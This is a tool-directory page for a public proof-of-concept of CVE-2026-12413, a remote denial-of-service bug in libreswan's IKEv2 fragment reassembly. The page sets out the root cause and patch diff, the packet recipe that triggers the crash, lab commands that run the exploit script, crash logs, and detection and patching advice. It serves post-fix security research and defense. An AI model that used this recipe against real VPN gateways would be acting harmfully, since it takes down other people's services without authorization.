Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-12413-libreswan-poc — First public PoC for CVE-2026-12413 — libreswan IKEv2 fragment off-by-one (unauthenticated remote DoS, fixed in 5.3.1) | Kitploit
Tools/GitHubGitHub/mohammad-jafar-shabib/cve-2026-12413-libreswan-poc
Vulnerability AnalysisExploitationNetwork SecurityPapers & ResearchLabs & Practice
GitHubmohammad-jafar-shabib/cve-2026-12413-libreswan-poc

CVE-2026-12413-libreswan-poc

First public PoC for CVE-2026-12413 — libreswan IKEv2 fragment off-by-one (unauthenticated remote DoS, fixed in 5.3.1)

View Repository
7 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-12413 — libreswan IKEv2 fragment off-by-one (DoS)

First public proof-of-concept for the off-by-one error in libreswan's IKEv2 fragment reassembly (pluto).

Writeup: https://mohammad-jafar-shabib.github.io/CVE-2026-12413-libreswan-poc/

CVECVE-2026-12413
CVSS 3.17.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (CNA)
CWEsCWE-193 (off-by-one), CWE-617 (reachable assertion)
Affectedlibreswan 4.6 through 5.3, IKEv2 with fragmentation enabled (the default)
Fixed5.3.1 (fix commit 5c4369afcfe95a924ee0a96a0b29a7204dc40504, 2026-06-16; release tagged 2026-06-24)
ImpactUnauthenticated remote DoS: pluto aborts on a PASSERT; repeated packets keep the daemon down. No RCE possible.
FinderHu Xinyao (per CVE record)

Status: vendor-patched. CVE reserved 2026-06-16, publicly disclosed 2026-07-02. This is a post-disclosure PoC, not a 0-day.

Root cause

programs/pluto/ikev2_message.c, reassemble_v2_incoming_fragments():

pexpect(md->chain[ISAKMP_NEXT_v2SKF]->payload.v2skf.isaskf_number == 1);
passert(md->digest_roof < elemsof(md->digest));   /* PAYLIMIT == 30 */

digest_roof counts the parsed payloads of the first fragment message. A message carrying exactly PAYLIMIT (30) well-formed payloads is a legal state, but the assertion demands strictly less. The fix (5.3.1) changes < to <=:

-	passert(md->digest_roof < elemsof(md->digest));
+	passert(md->digest_roof <= elemsof(md->digest));

Upstream history note: OSV's record anchors the fixed event to de24519eb4ff49803a21d75e880c87834cf33beb — the "bump version to 5.3.1" commit that the v5.3.1 tag points to. OSV derives those GIT events from the CPE version range (4.6 → 5.3.1), so they mark release boundaries, not the semantic fix. The only commit in v5.3..v5.3.1 touching programs/pluto/ikev2_message.c is 5c4369afcf.

An attacker sends one IKE_AUTH message that is a single IKE fragment (SKF, fragment 1 of 1) carrying 29 Notify payloads plus the SKF payload. digest_roof reaches 30, the single fragment completes immediately, and reassembly hits the panic assertion → SIGABRT.

The SKF payload must decrypt and pass ICV verification, so the PoC first completes a normal, unauthenticated IKE_SA_INIT exchange (DH group 14) and derives SKEYSEED/SK_ei/SK_ai per RFC 7296. Fragmentation must be negotiated (Notify 16430 IKEV2_FRAGMENTATION_SUPPORTED), otherwise pluto ignores fragments ("peer never proposed fragmentation").

Repository layout

poc/ikev2_frag_dos.py     the PoC (Python 3 + cryptography, no scapy)
lab/setup.sh              two netns + veth pair (isolated, host NIC untouched)
lab/pluto-start.sh        start a given build's pluto inside the netns
lab/pluto-alive.sh        liveness check
lab/run-ab-test.sh        full vulnerable-vs-fixed A/B run
lab/ipsec.conf            minimal responder config (IKEv2, PSK, fragmentation=yes)
artifacts/                A/B log, crash log, pcaps of the exchange
notes/                    root-cause analysis, publication plan, blog draft
docs/                     published writeup (GitHub Pages)
src/                      libreswan git checkout + v5.3 / v5.3.1 build trees

Build the two versions

Dependencies (Arch example): base-devel nss nspr bison flex.

git clone https://github.com/libreswan/libreswan.git src/libreswan
cd src/libreswan
git worktree add ../build-5.3   v5.3
git worktree add ../build-5.3.1 v5.3.1

cd ../build-5.3 && make -j$(nproc) base USE_DNSSEC=false WERROR_CFLAGS=
cd ../build-5.3.1 && make -j$(nproc) base USE_DNSSEC=false WERROR_CFLAGS=

Notes:

  • USE_DNSSEC=false avoids the unbound/ldns dependency.
  • WERROR_CFLAGS= is needed because GCC 15 flags an unused variable that these releases treat as an error.
  • pluto launches addconn from its compile-time libexec path; the start script installs the matching build's helper to /usr/local/libexec/ipsec/addconn on each run.

Reproduce

cd /home/mgrim/Work/ipsec-cve-2026-12413
uv venv venv && uv pip install --python venv/bin/python cryptography

./lab/setup.sh

# vulnerable build
./lab/pluto-start.sh 5.3
sudo ip netns exec atk ./venv/bin/python poc/ikev2_frag_dos.py 10.99.0.1 --pcap artifacts/exchange.pcap
./lab/pluto-alive.sh        # -> DEAD

# fixed build
./lab/pluto-start.sh 5.3.1
sudo ip netns exec atk ./venv/bin/python poc/ikev2_frag_dos.py 10.99.0.1
./lab/pluto-alive.sh        # -> ALIVE

# or the whole A/B in one shot
./lab/run-ab-test.sh

Observed results

artifacts/ab-test.log:

RESULT 5.3:   CRASHED (DoS confirmed)
RESULT 5.3.1: SURVIVED (fix holds)

Crash line on 5.3 (artifacts/pluto-5.3-crash.log):

"lab"[1] 10.99.0.2 #1: received IKE_AUTH request fragment 1 (1 of 1), computing DH in the background
FATAL: ASSERTION FAILED: md->digest_roof < (sizeof(md->digest) / sizeof(*(md->digest)))
       (reassemble_v2_incoming_fragments() +977 programs/pluto/ikev2_message.c)

On 5.3.1 the fragment is reassembled, the decrypted (bogus) inner payload is rejected with INVALID_SYNTAX, the IKE SA is deleted, and the daemon stays up. Reproduced 3/3 runs on 5.3.

Detection and mitigation

  • Patch to libreswan 5.3.1 (or the 4.15 backport). RHEL 8/9/10 and Debian trixie/sid carry fixed rebuilds (RHEL errata ALSA-2026:46396, 46397, 46398).
  • Workaround: fragmentation=no on IKEv2 connections that do not need it (no workaround if fragmentation is required).
  • Detection: pluto restarts around IKE traffic; logs contain ASSERTION FAILED ... reassemble_v2_incoming_fragments(); IKE_AUTH messages with an unusually high payload count (parse caps at 30).
  • The attack needs no credentials but does require reaching UDP 500/4500 and a responder configured for IKEv2 with fragmentation enabled.

Credits

  • Vulnerability discovery: Hu Xinyao (per the CVE record).
  • Fix: libreswan commit 5c4369afcfe95a924ee0a96a0b29a7204dc40504 ("Fix for CVE-2026-12413"), released in 5.3.1; vendor advisory https://libreswan.org/security/CVE-2026-12413/.
  • This PoC and lab: security research exercise; published after the fix. See notes/publication.md for the pre-publication verification.

Ethics

The PoC is intended for your own lab. Do not point it at systems you do not own or have written authorization to test. It is a denial-of-service payload; the vulnerable daemon aborts.

Download Tool